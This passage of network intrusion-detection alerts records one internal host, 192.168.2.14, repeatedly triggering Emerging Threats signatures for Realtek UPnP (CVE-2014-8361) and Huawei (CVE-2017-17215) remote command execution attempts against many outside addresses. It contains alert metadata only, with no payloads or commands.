Source Port:	55060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 182.207.82.188

Timestamp:	07/20/24-23:01:13.331209
SID:	2027339
Source Port:	37618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 170.133.86.186

Timestamp:	07/20/24-23:01:23.051335
SID:	2025132
Source Port:	32834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 95.92.231.183

Timestamp:	07/20/24-23:01:11.485692
SID:	2835222
Source Port:	50006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.252.224.36

Timestamp:	07/20/24-23:01:14.487012
SID:	2829579
Source Port:	60582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 131.109.219.124

Timestamp:	07/20/24-23:01:34.945581
SID:	2027339
Source Port:	57322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 142.216.142.217

Timestamp:	07/20/24-23:01:34.813756
SID:	2027339
Source Port:	46426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 93.150.15.52

Timestamp:	07/20/24-23:01:29.169782
SID:	2831300
Source Port:	35300
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 142.63.99.254

Timestamp:	07/20/24-23:01:29.670786
SID:	2025132
Source Port:	55962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.230.179.116

Timestamp:	07/20/24-23:01:14.407392
SID:	2835222
Source Port:	35672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.240.191.4

Timestamp:	07/20/24-23:01:25.284910
SID:	2835222
Source Port:	40864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.79.186.119

Timestamp:	07/20/24-23:01:02.412965
SID:	2835222
Source Port:	59774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 220.47.15.117

Timestamp:	07/20/24-23:01:30.710896
SID:	2027339
Source Port:	34004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.27.29.207

Timestamp:	07/20/24-23:01:11.467355
SID:	2835222
Source Port:	60952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 1.119.230.113

Timestamp:	07/20/24-23:01:34.899596
SID:	2027339
Source Port:	58332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.190.77.121

Timestamp:	07/20/24-23:01:33.100578
SID:	2829579
Source Port:	54866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 139.212.201.39

Timestamp:	07/20/24-23:01:02.416600
SID:	2829579
Source Port:	57848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 193.152.255.240

Timestamp:	07/20/24-23:01:29.169806
SID:	2027339
Source Port:	46494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 133.211.191.92

Timestamp:	07/20/24-23:01:34.952293
SID:	2831300
Source Port:	33642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.74.37.195

Timestamp:	07/20/24-23:01:07.674222
SID:	2835222
Source Port:	52500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.249.170.193

Timestamp:	07/20/24-23:01:25.283565
SID:	2829579
Source Port:	41884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.8.221.215

Timestamp:	07/20/24-23:01:37.199306
SID:	2835222
Source Port:	42420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.180.182.216

Timestamp:	07/20/24-23:01:25.301172
SID:	2835222
Source Port:	40870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 27.56.80.118

Timestamp:	07/20/24-23:01:37.122448
SID:	2835222
Source Port:	55026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.179.161.50

Timestamp:	07/20/24-23:01:14.428293
SID:	2829579
Source Port:	57644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.36.174.199

Timestamp:	07/20/24-23:01:33.038711
SID:	2835222
Source Port:	55234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 74.8.125.187

Timestamp:	07/20/24-23:01:34.928965
SID:	2831300
Source Port:	43928
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 81.216.188.40

Timestamp:	07/20/24-23:01:11.460861
SID:	2835222
Source Port:	45366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.94.199.1

Timestamp:	07/20/24-23:01:22.786757
SID:	2835222
Source Port:	52560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.218.46.143

Timestamp:	07/20/24-23:01:33.100578
SID:	2829579
Source Port:	49520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.145.245.15

Timestamp:	07/20/24-23:01:19.220180
SID:	2835222
Source Port:	59928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.116.147.110

Timestamp:	07/20/24-23:01:05.896134
SID:	2835222
Source Port:	35360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 100.167.118.103

Timestamp:	07/20/24-23:01:34.902184
SID:	2027339
Source Port:	48516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 118.44.218.190

Timestamp:	07/20/24-23:01:05.582077
SID:	2025132
Source Port:	47482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.175.70.101

Timestamp:	07/20/24-23:01:33.044521
SID:	2829579
Source Port:	35302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 76.246.195.163

Timestamp:	07/20/24-23:01:33.294979
SID:	2027339
Source Port:	33466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 211.171.110.94

Timestamp:	07/20/24-23:01:05.898116
SID:	2835222
Source Port:	45848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 95.58.16.105

Timestamp:	07/20/24-23:01:34.935674
SID:	2831300
Source Port:	59818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 103.11.232.170

Timestamp:	07/20/24-23:01:19.221345
SID:	2829579
Source Port:	37768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 106.139.202.117

Timestamp:	07/20/24-23:01:25.484225
SID:	2025132
Source Port:	56500
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 173.48.24.57

Timestamp:	07/20/24-23:01:32.153595
SID:	2025132
Source Port:	45336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 75.5.28.91

Timestamp:	07/20/24-23:01:29.567553
SID:	2025132
Source Port:	43538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 77.253.158.6

Timestamp:	07/20/24-23:01:07.700270
SID:	2829579
Source Port:	43818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 193.243.213.199

Timestamp:	07/20/24-23:01:31.100640
SID:	2025132
Source Port:	34868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 201.115.243.108

Timestamp:	07/20/24-23:01:14.401421
SID:	2835222
Source Port:	52052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 202.140.60.188

Timestamp:	07/20/24-23:01:13.329660
SID:	2831300
Source Port:	44492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 65.171.178.93

Timestamp:	07/20/24-23:01:05.895933
SID:	2829579
Source Port:	51850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.179.24.29

Timestamp:	07/20/24-23:01:11.467529
SID:	2829579
Source Port:	43220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.216.142.146

Timestamp:	07/20/24-23:01:25.230451
SID:	2829579
Source Port:	44858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.25.38.227

Timestamp:	07/20/24-23:01:28.208110
SID:	2829579
Source Port:	44970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 40.169.74.201

Timestamp:	07/20/24-23:01:33.159213
SID:	2025132
Source Port:	52504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 60.154.99.20

Timestamp:	07/20/24-23:01:06.348845
SID:	2025132
Source Port:	35828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.119.1.224

Timestamp:	07/20/24-23:01:37.124220
SID:	2829579
Source Port:	52088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.57.98.16

Timestamp:	07/20/24-23:01:11.478031
SID:	2835222
Source Port:	38848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.197.206.221

Timestamp:	07/20/24-23:01:07.676384
SID:	2829579
Source Port:	48138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.170.165.51

Timestamp:	07/20/24-23:01:19.224550
SID:	2829579
Source Port:	45096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.178.113.254

Timestamp:	07/20/24-23:01:14.399761
SID:	2835222
Source Port:	52466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.234.82.81

Timestamp:	07/20/24-23:01:05.901568
SID:	2829579
Source Port:	36072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 128.197.81.243

Timestamp:	07/20/24-23:01:05.892501
SID:	2829579
Source Port:	57212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 47.7.230.238

Timestamp:	07/20/24-23:01:34.911249
SID:	2831300
Source Port:	48460
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.133.74.148

Timestamp:	07/20/24-23:01:19.235468
SID:	2829579
Source Port:	35708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 207.154.52.96

Timestamp:	07/20/24-23:01:29.181762
SID:	2027339
Source Port:	39664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.196.172.22

Timestamp:	07/20/24-23:01:02.407178
SID:	2835222
Source Port:	35292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 52.100.4.60

Timestamp:	07/20/24-23:01:34.939612
SID:	2027339
Source Port:	40636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.160.79.126

Timestamp:	07/20/24-23:01:05.892501
SID:	2835222
Source Port:	56196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 174.244.149.60

Timestamp:	07/20/24-23:01:33.070886
SID:	2835222
Source Port:	38604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 53.120.126.237

Timestamp:	07/20/24-23:01:19.334799
SID:	2835222
Source Port:	57120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.192.85.228

Timestamp:	07/20/24-23:01:28.200134
SID:	2835222
Source Port:	36806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 211.77.142.174

Timestamp:	07/20/24-23:01:25.343749
SID:	2027339
Source Port:	45794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.129.87.164

Timestamp:	07/20/24-23:01:11.474688
SID:	2829579
Source Port:	40740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 169.172.43.160

Timestamp:	07/20/24-23:01:32.953021
SID:	2027339
Source Port:	53022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.94.156.130

Timestamp:	07/20/24-23:01:19.231228
SID:	2829579
Source Port:	49392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.137.64.242

Timestamp:	07/20/24-23:01:25.231733
SID:	2835222
Source Port:	37616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 192.84.42.215

Timestamp:	07/20/24-23:01:34.040722
SID:	2027339
Source Port:	54198
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 41.70.70.158

Timestamp:	07/20/24-23:01:06.160718
SID:	2027339
Source Port:	58720
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.7.26.252

Timestamp:	07/20/24-23:01:11.459583
SID:	2829579
Source Port:	60258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.248.221.244

Timestamp:	07/20/24-23:01:28.219332
SID:	2835222
Source Port:	50868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.207.11.247

Timestamp:	07/20/24-23:01:19.224455
SID:	2835222
Source Port:	34386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.137.138.229

Timestamp:	07/20/24-23:01:14.396954
SID:	2829579
Source Port:	54350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 175.5.152.252

Timestamp:	07/20/24-23:01:29.534125
SID:	2025132
Source Port:	35360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.206.151.131

Timestamp:	07/20/24-23:01:05.920730
SID:	2835222
Source Port:	47026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 42.119.93.45

Timestamp:	07/20/24-23:01:29.460572
SID:	2027339
Source Port:	40618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.53.34.158

Timestamp:	07/20/24-23:01:11.468893
SID:	2829579
Source Port:	40980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.54.31.152

Timestamp:	07/20/24-23:01:19.222257
SID:	2835222
Source Port:	37720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.237.27.139

Timestamp:	07/20/24-23:01:19.222257
SID:	2835222
Source Port:	50912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.42.64.187

Timestamp:	07/20/24-23:01:28.170987
SID:	2829579
Source Port:	37948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 39.30.35.11

Timestamp:	07/20/24-23:01:29.170017
SID:	2831300
Source Port:	34626
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.239.188.37

Timestamp:	07/20/24-23:01:05.900314
SID:	2835222
Source Port:	47644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.126.75.92

Timestamp:	07/20/24-23:01:25.231151
SID:	2835222
Source Port:	45168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 180.166.72.99

Timestamp:	07/20/24-23:01:32.452250
SID:	2027339
Source Port:	51456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.92.68.76

Timestamp:	07/20/24-23:01:11.459583
SID:	2835222
Source Port:	57296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.166.78.170

Timestamp:	07/20/24-23:01:37.158916
SID:	2829579
Source Port:	45266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.110.14.102

Timestamp:	07/20/24-23:01:11.454990
SID:	2835222
Source Port:	39360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.233.145.134

Timestamp:	07/20/24-23:01:07.680463
SID:	2829579
Source Port:	34978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.251.165.245

Timestamp:	07/20/24-23:01:25.295701
SID:	2835222
Source Port:	60962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 40.224.141.14

Timestamp:	07/20/24-23:01:06.565386
SID:	2027339
Source Port:	45982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.123.27.175

Timestamp:	07/20/24-23:01:37.122448
SID:	2829579
Source Port:	45434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 194.223.113.142

Timestamp:	07/20/24-23:01:25.283485
SID:	2025132
Source Port:	42134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 1.52.127.148

Timestamp:	07/20/24-23:01:25.502173
SID:	2025132
Source Port:	54070
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 60.250.175.203

Timestamp:	07/20/24-23:01:02.410155
SID:	2829579
Source Port:	38906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.54.252.192

Timestamp:	07/20/24-23:01:25.283565
SID:	2835222
Source Port:	51948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 141.224.95.108

Timestamp:	07/20/24-23:01:05.838650
SID:	2025132
Source Port:	45678
Destination Port:	52869
Protocol:	TCP
